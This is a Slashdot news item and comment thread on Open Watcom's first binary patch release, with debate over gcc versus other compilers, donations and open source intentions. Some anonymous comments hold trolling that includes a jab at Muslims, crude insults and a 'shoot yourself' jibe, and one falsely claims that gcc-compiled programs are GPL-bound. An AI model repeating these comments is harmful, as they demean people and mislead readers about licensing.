Open Watcom Effort Makes First Public Release

epowers writes: "It's been a long time since /. ran this story, but a few days ago the Open Watcom Project made it's first public release. It's only a binary patch targeted at 11.0a/b owners, but it's still an important roadmark on the way to the planned full open source release of both the Watcom C/C++ and Fortran compilers. Most programmers, particularly game programmers, should remember the amount of prestige id software's DOOM generated for the Watcom compiler and the sudden proliferation of 32-bit DOS games with the tell-tale "DOS/4GW" startup banner. The download is available for free, but Open Watcom requests a $1-$50 donation to help support the development effort required to remove code Sybase doesn't own and to prepare the open source release."

Comments

Lol...

[JoeLinux]

Some of my favorite games ran in DOS 4GW....Syndicate Wars most specifically....That would be cool to play in Linux.... I think the idea of the Graviton Lance was a concept that most game engines haven't fully developed (Fire a weapon, and tendrils of energy fire in truly random directions (Not just immediate explosino area) creating collateral damage that could hinder your progress later in the game.) Not to mention that Syndicate Wars had one of the coolest openings ever made. And the concept that you were one of two plusungood factions was REALLY cool. No "heroic" marines vs. "evil" zerg, etc.

ok..that's it. Party on. eletcron maces for EVERYONE!

JoeLinux

Re:Lol...

[Anonymous Coward]

It was actually the graviton gun, not the graviton lance. I think you're confusing it with the plasma lance, which was very cool, but not even close to the pure destructive power of the Graviton Gun.

free?

[jrockway]

It's a free download but you have to pay for it? Doesn't sound too free to me. Reminds me of what we did to sell lemonade when I was a kid: "Free Lemonade, only 25 Cents!". :-)

Re:free?

[dj28]

If you bothered to check the download page, you would see that you have the _option_ to donate. I am downloading it right now without having to donate. They just request that you do. No big deal.

Re:free?

[_Bean_]

Huh?
You don't have to pay for it. They ask for donations but they don't make you pay anything.
Seems like basic reading comprehension could help you out a lot.

Re:free?

[jrockway]

heh, you think I check things before I complain? This is slashdot, man.

Re:free?

[Anonymous Coward]

> It's a free download but you have to pay for
> it?

You know, i could answer you, but here is a man
having a *watery* mouth, and who will do better
than I.

GO at him RMS.

Re:free?

[BlowCat]

Actually, you should check thing before you complain. Even if it's slashdot. Even if your nickname doesn't identify you. Even if you have enough karma. Even if checking things will take some time and your comment appears too late for the moderators to notice.

It's about respect to those who read your comments. Ungrounded jokes may seem less offensive than obvious trolls, but not in the context of slashdot, where trolls are normally ignored, while the jokes like yours are not.

Re:free?

[Dog and Pony]

That is the same as when getting Apple upgrades :)

Re:free?

[WatcomGuru]

It is free. Since I am on the Openwatcom development team, I know what I am talking about

Re:free?

[howlingmad]

If you were on the Open Watcom Team, you would not hide yourself behind a synonym. Wouldn't you?

Markus

Re:free?

[WatcomGuru]

I had no choice because this infernal SlashDot would not allow me my own name

Re:free?

[howlingmad]

Fortunately i took the early-bird access. :-)

Markus

Hmm

[cdraus]

They say (on the webpage) that a version is planned for Linux. Do we really need another C/C++ compiler for linux? We'd just end up with the trouble we had on DOS with people writing silly compiler dependent code and everything a big mess.

Re:Hmm

[Anonymous Coward]

Because gcc crashes when you try to pass more than 32 megabytes on the stack.

Re:Hmm

[reynaert]

People are already writing very gcc-specific code for Linux. I've often seen that installation instructions for other Unices begin with 'install gcc'.

Re:Hmm

[jkthatcher]

People programming on DOS didn't have such benefits from the internet and collaborative development/open standards we have today.

You said it yourself, compiler dependent code is silly. Having Watcom for Linux will only make it easier for software houses to port their silly Watcom stuff, so I'm all for it.

Re:Hmm

[drinkypoo]

Do we really need another C/C++ compiler for linux? We'd just end up with the trouble we had on DOS with people writing silly compiler dependent code and everything a big mess.

People won't have to write compiler-dependent code to take advantages of the 386-set optimizations in the Watcom compiler. Many people will, no doubt, but eventually gcc will support that code, too, if "the people" want it.

Re:Hmm

[Anonymous Coward]

this fellow is dead on. i remember that the bad habits i learned from the watcom compiler took a long time to shake, and not only that, everything i wrote with djgpp was twice as fast as the same thing done using watcom... besides, djgpp had more libs that worked out-of-the-box.

screw watcom.

Re:Hmm

[Anonymous Coward]

yes, we do need another C/C++ compiler for linux.

The only C compilers for linux are gcc, lcc, and one from intel.

lcc is great for learning about compiler design (that's why it was created), but it doesn't optimize very well, hasn't been stress tested in a real world environment, and has odd licensing issues (you can get the source code for free, but if you want to compile a program and sell it, you need to include a copy of the book as well). Also, the 2 authors are currently Microsoft employees, so you are at the mercy of Redmond.

gcc is the "defacto" standard, but the inline assembler is only slightly less painful than having your asshole ham-slammed to goatse.cx proportions. Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it, unless you pay the "stallman tax", which is one reason commercial linux apps are rarer than pork-eating muslims. Also, gcc is big, slow, requires lots of resources, and produces mediocre code.

Intel's c/c++ compiler is rumored to produce blazingly fast code. However, it is a commercial product, so no linux user has ever used it, and no one really knows if it exists or not.

So yes, another C/C++ compiler would be a good thing for linux.

Re:Hmm

[Anonymous Coward]

What the fuck are you whining about? You obviously don't know anything about the subject. The Wacom compilers are some of the most ANSI compliant compilers in existance. The C++ 11.0 compiler produces better code then gcc. BTW 11.0 was released in the 90s, well after the "internet" revolution, though what that has to do with anything, I can't for the life of me figure out. You must be doing drugs. Any software house that selected the Wacom compiler did so because they were not decived by the Borland IDE/MS Visual C++ hype.

Re:Hmm

[Anonymous Coward]

Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it, unless you pay the "stallman tax", which is one reason commercial linux apps are rarer than pork-eating muslims.

Very nice troll. I almost didn't catch this one.

Re:Hmm

[Anonymous Coward]

And don't forget about modularity. Programmers could easily develop the core algorithms libraries with the most speed optimizing compiler (Watcom?) and leave everything else untouched.
IMO it's a good thing.

Re:Hmm

[jkthatcher]

Okay, I was hoping this would be obvious, but by 'compiler dependent' I was referring to non-portable parts of the product. This would of course include the assembler, and any specific tools/libs.

Re:Hmm

[BlowCat]

Your question contains the answer. We need another compiler for Linux so that the developers could check that they didn't occasionally wrote any "silly compiler dependent code" without having to reboot or to login to a box with the other compiler.

Actually, more often the code is not silly, it's just that some compilers accept some quirky code, and the others don't.

Re:Hmm

[Anonymous Coward]

There is still plenty of value in having more code available, especially code that has been worked on by a talented team of developers for several years. If they're lucky, the GCC team can use portions of this code, or at least learn a couple of tricks that may not have occured to them before.

More code, especially well-crafted code, is always useful.

Re:Hmm

[John Miles]

Because gcc crashes when you try to pass more than 32 megabytes on the stack.

"Doctor, doctor. It hurts when I do this!"

Re:Hmm

[sydbarrett74]

COnsidering that the quality of code produced by GCC is generally inferior to that produced by closed-source alternatives, I welcome an alternative. If the licence Sybase chooses is friendly, maybe sections can be lifted out to make GCC better, or maybe a hybrid that contains best-of-breeds. And this is by no means meant to be a troll or flamebait. I admire the many people who maintain the GCC codebase, but the general consensus amongst many is that its emitted code is not yet on a par with such compilers as Watcom and Borland (hence the importance of Kylix in its C++ version).

Re:Hmm

[amccall]

The Commercial Intel compiler for Linux is not only available, but extremely functional. At one point I had a time limited Beta release on my computer, which compiled programs just fine. (After some hassles over licensing.)

The commercial version is not extremely unreasonable in price, the main disadvantage in it is that it is not completely compatible with gcc, so you can't go and recompile all the packages on your system with it.

Here's a link to Intel's page for it, I believe you can get an evaluation version from them here

A free version is here for non commercial use is here.

Re:Hmm

[klmth]

Pushing vast amounts of data on the stack is a bad, bad, bad idea. Use dynamic memory allocation - that's what it's there for.

Re:Hmm

[Anonymous Coward]

32 megabytes on the stack. Ok. Is this a troll? Are you retarded? What could the answer be...

Re:Hmm

[Anonymous Coward]

Watcom's code output is good. Really good. Especially compared to gcc. But by no means is it "the most speed optimizing compiler." There ARE languages other than C. :) And there ARE compilers other than Watcom and gcc. :)

Re:Hmm

[Anonymous Coward]

Intel's c/c++ compiler is rumored to produce blazingly fast code. However, it is a commercial product, so no linux user has ever used it, and no one really knows if it exists or not.

Yes! Supposedly not only does the compiler produce excellent code, the library that comes with it is a piece of art! I also got the impression that the library is not limited to their compiler either. Can somebody give some information on this??? Too bad it doesn't support more platforms.

Re:Hmm

[Anonymous Coward]

There's a port of the open-source Amiga ANSI C compiler VBCC to Unix, too. It's a competent pure ansi C compiler.

Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it.

No, you're WRONG there. It's perfectly legal to use GCC for proprietary applications - 99% of devlopers in the embedded world do that, for example (the other 1% are thinking about quitting, since they're stuck arguing with their PHB about having to shoehorn wince into their device, after the PHB had a great golf game with teh "nice" microsoft rep.)

Re:Hmm

[alannon]

Hmm... Maybe try the -ansi flag in gcc? In ANSI mode, it will error on any gcc-specific code.

Re:Hmm

[jasoegaard]

They are doing it on purpose.

Re:Hmm

[Anonymous Coward]

There's also the KAI compiler, although I am not sure if Intel uses parts of it in their own compiler now that they own Kuck & Associates (the makers of the KAI compiler). I think you can also get a Linux version of the Comeau compiler, and perhaps from the Portland Group too.

Re:Hmm

[mr3038]

instructions for other Unices begin with 'install gcc'

Well, it's not necessarily due lazy programmers, but braindead compilers/libraries. For example there's no way I'd release any softwere using sprintf instead of snprintf. Do you have any idea how much less format string exploits there would be with the n-version? Usually those instructions require gcc because many of those default compilers simply suck.

Of course there's also software that requires gcc because the writer is lazy, but in those cases there're probably no instructions for 'other Unices'.

If there were Watcom compiler for Linux with latest C++ standard support, I might use it instead of gcc.

Re:Hmm

[be-fan]

Actually, Intel's C++ compiler is the most optimizing. Both VisualC++ and ICL overtook watcom around version 10.5.

Re:Hmm

[be-fan]

Also, Intel C++ for Linux is free for non-commercial use, so the licensing isn't *that* draconion.

Re:Hmm

[dvdeug]

Nope. From the manual:

The `-ansi' option does not cause non-ISO programs to be rejected gratuitously. For that, `-pedantic' is required in addition to `-ansi'. *Note Warning Options::.

`-pedantic'
Issue all the warnings demanded by strict ISO C and ISO C++; reject all programs that use forbidden extensions, and some other programs that do not follow ISO C and ISO C++. For ISO C, follows the version of the ISO C standard specified by any `-std' option used.

Re:Hmm

[Anonymous Coward]

snprintf is a library function, thus a matter of libc, not gcc.
If you lack it, for some odd reason, there are freely available implementations for use with any compiler.

http://www.ijs.si/software/snprintf

Re:Hmm

[Anonymous Coward]

It's not as compliant as g++. As for the efficiency of generated code, most compilers tend to be better than gcc.

Re:Hmm

[Anonymous Coward]

There are at least two freely available C compilers for linux: lcc and TenDRA. Use google to find them.

If you want to avoid compiler dependant code use gcc's -Wall and lclint. Nuff said.

Re:Hmm

[dvdeug]

>> For example there's no way I'd release any softwere using sprintf instead of snprintf . Do you have any idea how much less format string exploits there would be with the n-version? Usually those instructions require gcc because many of those default compilers simply suck.

GCC doesn't implement sprintf and snprintf; that's done in the C library. Any half-decent C compiler should support snprintf as well as sprintf if the C library supports them, and GCC won't save you if the C library doesn't.

Re:Hmm

[Anonymous Coward]

Actually there're quite some compilers already like Comeau and KAI, aside from others. GNU gcc is the most common yet not the best available.

If people write compiler specific code then this is their problem as this is neither C nor C++ anymore and tolerating this is only going to make things worse. Of course everyone is still free to distribute binaries and, since gcc is the most common compiler, even specific code should not cause much problems. Still for commercial products one may prefer to have a better compiler available. It's is an option after all and using one compiler does not exclude the other.

Re:Hmm

[howlingmad]

Huh? Because developers have alternatives to test against, they write compiler dependent code? I hope this was not the message of your comment.
Don't know how you're doing development but i'm using as much compilers as i can get to compile my sources. I have a bad feeling just using one compiler. This includes gcc and Watcom as well.

Markus

Re:Hmm

[drinkypoo]

Who ever said that it was the most speed optimizing? Not me. You must be responding to the wrong comment or something.

For portable code, building with watcom rather than gcc should provide a speed boost without having to bring your application into a different language, since most software is written in C, Obj-C, or C++ these days, after all.

Re:Hmm

[duffbeer703]

Part of the all-encompassing freedom that comes with the GNU system and it's compiler is the freedom to be forced to use gcc.

Writing code that only compiles on the GNU C compiler is actually freeing the huddled masses of computer users the horror of using closed-source, arch-capitalist compiler products.

Ruminations: Will it merge with gcc?

[earthforce_1]

I wonder if this will be released under a GPL license? If so, when this puppy gets into the pulic domain, there will be anything worth merging into gcc, or vice versa? Or whether the two compilers themselves will ultimately be merged into one product?

Re:Ruminations: Will it merge with gcc?

[Anonymous Coward]

not flamebait, but My guess is that Watcom is far, far supierior to anything in GCC. some of the best & brightest worked on Watcom throughout it's 11(?) versions...

only wish borland would take a clue and do the same..

Re:Ruminations: Will it merge with gcc?

[reynaert]

First: being released under the GPL is very different from being released in the public domain. I direct you to the Copyright FAQ.

Watcom and gcc will never be a single compiler. Watcom's primary goal is to generate optimum code for the i386/DOS. gcc's goal is to be free and as portable as possible. Many of Watcom's optimisations will most likely find their way into gcc (and DJGPP), but they will remain two distinct projects.

Re:Ruminations: Will it merge with gcc?

[reynaert]

gcc is portable to dozens of different architectures, and can relatively easily be ported to new architectures or new languages. That's a very impressive feat.

Watcom generates very optimal code for the i386. That's also a very impressive feat.

In other words, but compilers are extremely good in what they are designed for.

Re:Ruminations: Will it merge with gcc?

[Anonymous Coward]

The Wacom Compilers are the best for all of the ix86 OSs for wich a version is available, this includes OS/2 and NT, not just DOS. If should ever feel the need to compile something for NT, I would use the Wacom compiler because MS Visual C++ is a joke. The problem is that I don't have acces to NT anymore, since I put the NT 4.0 CD, that came with my computer, in the microwave.

Re:Ruminations: Will it merge with gcc?

[reynaert]

since I put the NT 4.0 CD, that came with my computer, in the microwave.

The only acceptable use policy for Windows CD's :)

Re:Ruminations: Will it merge with gcc?

[Anonymous Coward]

This is a good demonstration of darwinism/ natural selection.

gcc has no incentive to produce good code, whereas if watcom didn't work right, people wouldn't buy it, the company would go bankrupt, and the developers wouldn't be able to feed themselves.

So it's no surprise that watcom produces great code, is standards compliant, etc, etc, while gcc is a mediocre piece of shit.

Re:Ruminations: Will it merge with gcc?

[sirinek]

Oh yeah. Like no one worth a damn worked on gcc. Who moderated this up?

I dont even know why im replying to an AC troll. sigh.

Re:Ruminations: Will it merge with gcc?

[Anonymous Coward]

Very true. GCC is probably the best compiler currently available for targeting code to multiple platforms. However, there are many aspects of a modern compiler that GCC either does not implement, or that GCC implements poorly (for example, the last time I checked, GCC's register allocation was a complete mess). Consequently, while GCC is very useful for those looking for portability or for something free, it's not necessarily the best choice for those in other situations.

Re:Ruminations: Will it merge with gcc?

[BlowCat]

GPL != public domain

The press-release is talking about an Open Source license, so GPL is an option, although I would rather expect it to be released under a specialized license, something like Mozilla Public License.

I don't think that GCC team will want to take any code from any other project, unless it's a project to develop something specifically for GCC.

It's very hard to merge old large projects such as GCC and Watcom C/C++.

Re:Ruminations: Will it merge with gcc?

[AbsoluteRelativity]

Not quite. With open source (free software), the competition can be on a smaller more modular level, where as closed source products are competing on a higher level. What eventually happens when you compete on such a high level, its called bloat. Its you cram so many features into one little program in order to satisfy the vast majority of users, instead of the user deciding what features they want, they end up with features they dont want or need and have trouble navigating through the program, and new users will have a difficult time finding things and be intimidated by the amount of features.

When you compete in the modular sense, users have options in features and features can change easily with out requiring a huge release or patch. The only way in which closed source gets close to this is in plugins, but even plugins become bloated and not modular enough. The only way to get to the modular level is to be open source (of course they have to be good at modular programming in order to make it easier for modules to be created). The easiest one I have ever delt with is Java, in some cases I merely replace a java file with one created by someone else and recompile and its done.

Re:Ruminations: Will it merge with gcc?

[Anonymous Coward]

WATCOM can also generate code for the Alpha and Power PC CPUs. But these versions of the compiler were never released.

Re:Ruminations: Will it merge with gcc?

[Florian Weimer]

Watcom generates very optimal code for the i386. That's also a very impressive feat.

Is it? Nobody is using i386s nowadays, except for embedded applications. The younger members of the ia32 family require rather different optimizations (even when compared to the Pentium or Pentium Pro, totally different when compared to the i386).

Maybe the Watcom compiler generates really good code for the i386, i486, and Pentium processor (perhaps even for the Pentium Pro/II), but AFAIK it doesn't support SSE2, so performance on the Pentium IV won't be much better than GCC. (If it is, it is certainly not due to heavily target-dependent optimizations on Watcoms part.)

Re:Ruminations: Will it merge with gcc?

[Khalid]

What you describe here is in fact rather the Unix way of doing things, small programs or modules targeted to specific tasks, combined together to do bigger tasks; versus the windows's way, big bloated programs (à la MS) which try to be everything to everybody. Of course this is not an absolute rule, you may find many Unix bloated programs too.

Re:Ruminations: Will it merge with gcc?

[WatcomGuru]

>> I wonder if this will be released under a GPL license? Possible but it is unlikely Sybase will do that. >> Or whether the two compilers themselves will >> ultimately be merged into one product? Very very unlikely. For example, Watcom is has passed the first few arguments for functions in registers and that is unlikely to change. To do so would alienate existing customers and would invove a complete rewrite of the compiler. I can see that there will probably a fruitful exchange of ideas but not code.

Already?

[Anonymous Coward]

The Open Watcom core team has already created a binary patch update release

Interesting use of the word once you take the project status page into consideration.

Perhaps this time next year they'll release another beta of this patch, get a little more free publicity from Slashdot, and get a few more dollars in donations. How exactly does this project qualify as open source? Just because they say it is?

Re:Already?

[mewsenews]

It says very clearly somewhere on the site that it will be released using an approved Open Source license. So yes, they have promised they will make an Open Source release, and that is why this project is Open Source.

Re:Already?

[szcx]

So it's open source because they say it is? Didn't you people learn anything from the Brian West debacle?

How about they actually prove they're open source (by, say, releasing something under license) before soliciting donations?

Re:Already?

[reynaert]

Slashdot, 22 August 2000 (not 2001): Sybase to Open Souce Watcom C/C++ & Fortran Compiler

They've been saying for over a year they will release the source.

Re:Already?

[WatcomGuru]

>>Perhaps this time next year they'll release >>another beta of this patch Won't happen >>get a little more free publicity from Slashdot I don't care if we never get any publicity from Slashdot. AFAIK, we never sought it. >> and get a few more dollars in donations. What is all this talk of dollars? News to me. >> How exactly does this project qualify as open >> source? It doesn't. There is a schedule. Ever since 11.0b was released in Feb 1998, there have been a number of fixes by Watcom R&D in Waterloo. I have made a tiny few myself. 11.0c is for _existing customers_ and it includes all the fixes to date that have occured since 11.0b. After this comes OpenWatcom 1.0. There are number of things that need doing (cleaning up the source a bit which we have a little). At this point you will be able to see the source.

Re:Already?

[Anonymous Coward]

Ahh! It's NOT open source, but its planned to be. I Plan to support open source, when Its open source. I do not support the promise of open source, I support open source. I will purchase a CD, when its released.

I looked at the source for Mozilla the day it was avaible, before I was reading slashdot and was amazed and inspired. I also downloaded the source for the early 'C complier releaseed by Dennis Ritchie. He was embarrased, but "In looking over this material, I have mixed emotions; so much of this stuff is immature and not well-done, and there is an element of embarrassment about displaying it. But at the same time it does capture two moments in a period of creativeness and may have some historical interest."

Probibly MOST commercial programs have an embaressing code base, based upon the marketing concept: "Just get the bug count low enough so that enough idiots will buy it"

I have purchased the following releases: RedHat 6.1, 7.0, 7.1, SuSe Linux, 5.2, 6.0, YellowDog 1.2, and PPC2kR4. I put my money on reality, not promises.

Re:Already?

[howlingmad]

Hmm, so a project does qualify as open source if it releases new versions very often?
Hey, wait a moment! You mean Microsoft qualify as open source, right?

This project is not as big as the few successors Apache, Samba and the like (yes, there're only few). So they *need* publicity, they *need* a few more dollars in donations, because not everybody wants to work for nothing.

You took a look at Mozilla and 'the early 'C complier releaseed by Dennis Ritchie'? And it was 'immature and not well-done'. And you have contributed better solutions? Please say that you have...

Markus

Re:Already?

[WatcomGuru]

Fair enough, I understand what you say. When we release OpenWatcom 1.0 you can try a copy then.

Bravo!

[maggard]

The more high-quality compilers the better!

More compilers means more techniques applied and evaluated, benefits from compare & contrast, ability to more easily identify errors specific to a compiler and not code, and possibly more generic code in a more diverse environment.\

Re:Bravo!

[Per Abrahamsen]

It also means less developer ressources to spend per compiler. It isn't like a new compiler suddenly make more people (or money) interested in doing development.

Eh... Am I missing something?

[reynaert]

This OpenWatcom project has existed for over a year, claiming they will make a open source release.

Yet they still haven't released a single line of source. They haven't even decided on a license. All they did is release a binary patch.

Why don't they just rip out the stuff they can't distribute, and publish the incomplete source? At the very least, it would be a proof of their intentions.

As it stands, this thing is just a hoax.

Re:Eh... Am I missing something?

[Anonymous Coward]

i'm downloading a free c++ & fortran compiler for windows from their site, right now. yeah , it's not the sorce code, YET, but it's a start - it's something you sure as hell couldn't produce & give away for free, by yourself. Don't look a gift horse in the mouth - this "it's been a year, it's a hoax" talk isn't exactly going to make other companies want to jump on the open sorce bandwagon. Give them time to do it *right*, and thank them for doing it at all...

Re:Eh... Am I missing something?

[n3m6]

From the FRONT PAGE !!!

"When the Open Watcom 1.0 release is complete, the team will be open for general admission from anyone. The Open Watcom team is closed for the initial part of the project due to NCA restrictions with Sybase. If you have any further questions, please visit our FAQ section first. "

From the FAQ

" Is everything that was on the Watcom CD available for free download?

No. The commercial versions of the Watcom C/C++ and Fortran compilers contained licensed copies of the Windows SDK, Microsoft Foundation Classes, OS/2 Toolkit and other commercial tools. Due to licensing issues, those components cannot be made freely available. Hence in order to utilise the 11.0c binary patch release, you will need an official copy of the 11.0, 11.0a or 11.0b installation CD. "



Read the FAQ first please
The release of the path itself shows that the project is under development and it is not dead. However the project needs to solve its legal issues which WILL take time.

i am not a developer nor have any contacts or relationships or sex with sybase or scitechsoft.
Thank you!

Re:Eh... Am I missing something?

[reynaert]

Ok, I admit I was a little trollish.

Still, the only thing they've done so far is make a end-of-life product (since June 30, 1999) available for download. That's nothing exceptional, Borland for example does the same thing with their old compilers.

BTW, there are several ports of gcc to DOS (DJGPP) and Windows (Cygwin, MinGW).

Re:Eh... Am I missing something?

[reynaert]

However the project needs to solve its legal issues.

Who says they ever will be solved? The whole OpenWatcom project can just disappear one morning because legal issues. Until source has been released I consider the project vaporware.

I looked a little in their BugZilla system, and saw that the DOS/4GW extender is one of those 'legal issues'. But why do they have to wait for permission for DOS/4GW to release the rest of the system? They can just strip out the utilities, libraries and what else they can't distribute. The result might not even compile, but that's not important. The important thing is that there's source. Maybe somebody can write replacements for the parts with 'legal issues'. Maybe we'll have to wait until they can sort it out. But in the meantime, the rest of the system is available, and will be available forever.

Re:Eh... Am I missing something?

[Anonymous Coward]

So, the Wacom compiler is far better.

Re:Eh... Am I missing something?

[Anonymous Coward]

my bad.. they didnt even provide it free, just an upgrade for existing users... so i take back that last one.. heh

Re:Eh... Am I missing something?

[ToasterTester]

Yes you are missing something...

Large commericial products like Watcom was are usually fully of licensed code. Then being that probably hundreds of programmers have come and gone probably those left aren't too sure which code belongs to who. In our litigous world you just can't take a chance and put our the code and hope not to get sued. Then all the code they have to remove has to be replaced so not a fast process. Just look how long it took SGI to release the XFS filesystem for the same licensing issues. So I wouldn't say its a hoax, and a waste of time to release code before its ready.

Anyway Watcom was only a good C compiler in the DOS days. It was a only so-so Windows and C++ compiler. Watcom is probably just the internel compiler for Sybase products and hoping by going "open" to get some free QA and maybe some usable bug fixes. Same thing Borland did with Interbase.

Re:Eh... Am I missing something?

[Anonymous Coward]

Haven't they heard of Tran's PMode/W ? It's a faster, slimmer, drop-in replacement for DOS4G/W.

It was written by a democoder, and I have the source for an old version around on this box somewhere.

Lots of demos for 386/486/Pentium and extended DOS used this extender. There was also a Pmode (not /W) dos-extender as well, I believe.

If they are using the DOS4G/W issue to delay/avoid releasing the rest of the compilier source, then that's a BS excuse.

Btw, why don't they release at least what source they can, and ask for people to submit code for the APIs implemented by the "licensed and cannot open-source" code, instead of asking for donations - ie. be able to donate code, instead of money.

I think that they are just having cold feet about the whole true open-source deal.

Re:Eh... Am I missing something?

[ajax142]

Of course the DOS port of DJGPP only supports 386s and above, which before you say, who uses a 286, look at a project like Freedos (www.freedos.org) who's very goal is to run on 8008 to Pentium 4's. This is a project thats needs a open Source C compiler but really lacks one, Borland C 1.1 is the default c compiler for the project currently

Re:Eh... Am I missing something?

[WatcomGuru]

>> Yet they still haven't released a single line of source. They haven't even decided on a license. All they did is release a binary patch. > Why don't they just rip out the stuff they can't distribute, and publish the incomplete source? We don't have to prove a damn thing. As it stands, the tools are based on 10.6, a previous version of the compiler. That will _never_ be open sourced. But 11.0c will be. 11.0c is for existing customers, OpenWatcom 1.0 will for everyone else.

Re:Eh... Am I missing something?

[howlingmad]

Why don't they just rip out the stuff they can't distribute, and publish the incomplete source?

And you would do that on more than a million lines of source code in a few month? Wow! I'm impressed.

Markus

Re:Eh... Am I missing something?

[WatcomGuru]

>>Who says they ever will be solved?

They have been solved

>>Until source has been released I consider the project vaporware.

Well that is your opinion, but as I am on the OpenWatcom team and also in contact with Watcom R&D, Waterloo, Canada, your opinion is wrong. I have seen things move forward internally.

>>But why do they... ...until they can sort it out

That is exactly what is happening :-). 11.0c consists of files that are only 100% Sybase owned + any agreements we make with various 3rd party authors.

Re:Eh... Am I missing something?

[WatcomGuru]

>> Still, the only thing they've done so far is make ...

No we haven't. If we did so, we would make 11.0b available. As it is, 11.0c is made available which contains 3 years worth of fixes.

Have a look at the file

ftp://ftp.openwatcom.org/watcom/c_readme.txt

glad to see them accept donations

[Dr. Awktagon]

I wish EVERY substantial Free/Open software project had a donation page pop up before download. There are several programs that I use regularly for which I would donate when downloading or upgrading.

In fact, Free/Open software is much more valuable to me than the alternatives.

So in other words, I will only pay for Free software! ;-)

(Too bad they use Amazon for their donations, for those of us boycotting them.)

Re:glad to see them accept donations

[reynaert]

Just pointing out that they haven't released a single line of code yet. They haven't shown any proof they will.

Therefore it is hardly a substantial Free/Open software project, and donating money is a little optimistic.

Re:glad to see them accept donations

[jesser]

Don't wait for they to ask for money. Just send them some, along with a note saying you like the program they're working on (so they have some idea why they're suddenly getting money from strangers). I made a personal toolbar button that lets you quickly send money to any e-mail address listed on a web page. It works with Netscape 4, IE5 (but not 6), and Mozilla. You can get it here. You don't even have to install anything, although you do need to get an account at PayDirect if you want to actually send money with it.

By the way, Amazon's boycottable actions aren't the only reason not to use their donation system. It's also one of the most expensive donation systems.

Re:glad to see them accept donations

[AbsoluteRelativity]

Actually (not to disagree with your caution), but I have to note that both are reputable companies and I recall a long ago, SciTech in particular had source code available for an earlier version of their SVGA/VESA library, I remember because I was using it to learn how to use VESA in my own little Watcom DOS experienments. In visiting their site its cool (in an old skool sort of way)to see they're still doing business and still selling Display Doctor and MGL.

Re:glad to see them accept donations

[AbsoluteRelativity]

LOL... its all still there...

http://sunsite.lanet.lv/ftp/mirror/x2ftp/msdos/p ro gramming/scitech/svgakt51.zip

I was extremely fanatical when I came across x2ftp.oulo.fi, it had a lot of information and was contributory to my addiction to programming. Man, it was like finding a gold mine.

Re:glad to see them accept donations

[WatcomGuru]

I still don't know where this "donation" business comes from. As far as I am concerned it is fiction. And as I have been involved with the Open Sourcing of Watcom from start to finish, before even SciTech got involved, I know.

And we don't to prove anything to anyone. I am just glad that existing customers, some of whom I have known 6 years, have a better product in their hands than 11.0b.

But hey, good times are ahead :-)

Re:glad to see them accept donations

[WatcomUser]

Yeah,

I've been following the posts here, and I don't know where the "donations" bit came up from either.

I've been a strong supporter (and customer) of watcom from the early days.

The watcom compiler is a great C/C++ compiler. I don't see how a compiler can be "dead". I do a lot of development for embedded systems, and can't imagine using a better compiler that watcom's.

I don't see how today's *visual* C++ compilers can compare.

I for one am looking forward to future compiler releases.

All the best to the openwatcom team !

Re:glad to see them accept donations

[WatcomGuru]

>>I've been following the posts here, and I don't know where the "donations" bit came up from either

Scitech emailed me. If you look at
http://www.openwatcom.org/download.html
there it is. Embarassing not to know (when I usually know beforehand) :-)

Read the statement carefully. The key word is "distribution".

experience with W2K [OT]

[alienmole]

my hopes were high that it would perform up to snuff with the Windows 2k boxes which were(and still are!) doing an AMAZING job at their respective tasks of serving HTTP requests, DNS, and fileserving.

Yeah, it is amazing how Win2K can keep on functioning even when it is simultaneously infected with Code Red, Sadmind, and Nimda! The data rates produced by virus-generated GET requests are most impressive, and only exceeded by the rate at which IIS with ASP leaks memory. Microsoft and its "professional full fledged development team" have truly reached a pinnacle of performance and stability!

Re:experience with W2K [OT]

[LegendLength]

...from the looks of it, the Microsoft "shared source" program seems to offer all of the same freedoms as the GPL.

LOL.

Re:experience with W2K [OT]

[Anonymous Coward]

You, sir, are a moron. If you cannot develop of IIS/ASP without leaking memory, then perhaps you should learn what in the hell you're doing. And, if you're too stupid to patch your machine, then perhaps you should just shoot yourself now instead of continuing to waste oxygen.

Re:experience with W2K [OT]

[alienmole]

If you cannot develop of IIS/ASP without leaking memory, then perhaps you should learn what in the hell you're doing.

Hey, ever heard of "automatic garbage collection"? Apparently Microsoft hasn't either...

How much use is this in the modern era?

[Ryu2]

Not a troll. 32-bit flat memory, etc. under DOS was cool in the early 90s, but really how viable is it in this day and age?

Re:How much use is this in the modern era?

[reynaert]

Watcom was also known for generating very optimal code. It easily beat most other compilers.

When (if) they release it under the GPL, gcc's i386 code generation will become a lot better.

Re:How much use is this in the modern era?

[Anonymous Coward]

The Wacom C/C++ Compilers have consistantly blown away the competition in ANSI compliance and in the quality of the bianary it generates, whether optimizing for code size or execution speed. The ONLY parameter that it has ever come in second, is compile time, and a steak takes lomger to cook then a hotdog.

Re:How much use is this in the modern era?

[rabidcow]

Ok, so that part is useless now. Programs are still written for flat, 32-bit addressing on intel x86 processors tho. Most of the code generation & optimizations should still be useful for a while. (Until everything goes to 64-bit, if ever...)

Then again, maybe not... Considering the major changes in the x86 architecture, how *does* Watcom compare to modern compilers?

Re:How much use is this in the modern era?

[OverCode@work]

Watcom C++ was a very solid product all around. 32-bit flat model DOS(4G) was only one of its targets.

In particular, Watcom's optimizer was well respected.

-John

Re:How much use is this in the modern era?

[Anonymous Coward]

The Watcom C/C++ 11.0 compiler is a modern compiler. It currently outperforms every other compiler for the x86 that it has been tested against. Just because Borland and Macrohard release new versions of their IDEs every year or so, does not indicate that the actual compiler has been changed. Do you think that MS is stupid enough to use Visual C++ to compile Win2k?

Re:How much use is this in the modern era?

[eric17]

I don't know about gcc, but I compared watcom version 10 or so with visual C/C++ for some C image processing code years ago. IIRC, it was NOT noticably faster than microsoft's compiler at the time (if at all), and was much slower compiling code (and I mean DOG slow). At the time I concluded that it's reputation was some sort of myth, because I did not see anything worth putting up with the slow compile rate. And the debugger was hideous, if I recall correctly. I wanted to get away from microsloth, I really did, but it was a complete let down.

Re:How much use is this in the modern era?

[Anonymous Coward]

Watcom's compiler had an excellent profiling tool. Just dynamite. You could even specify the function calling conventions in great detail - i.e., what register gets what parameter. This compiler is great for embedded systems that puts memory at a premium.

Re:How much use is this in the modern era?

[rabidcow]

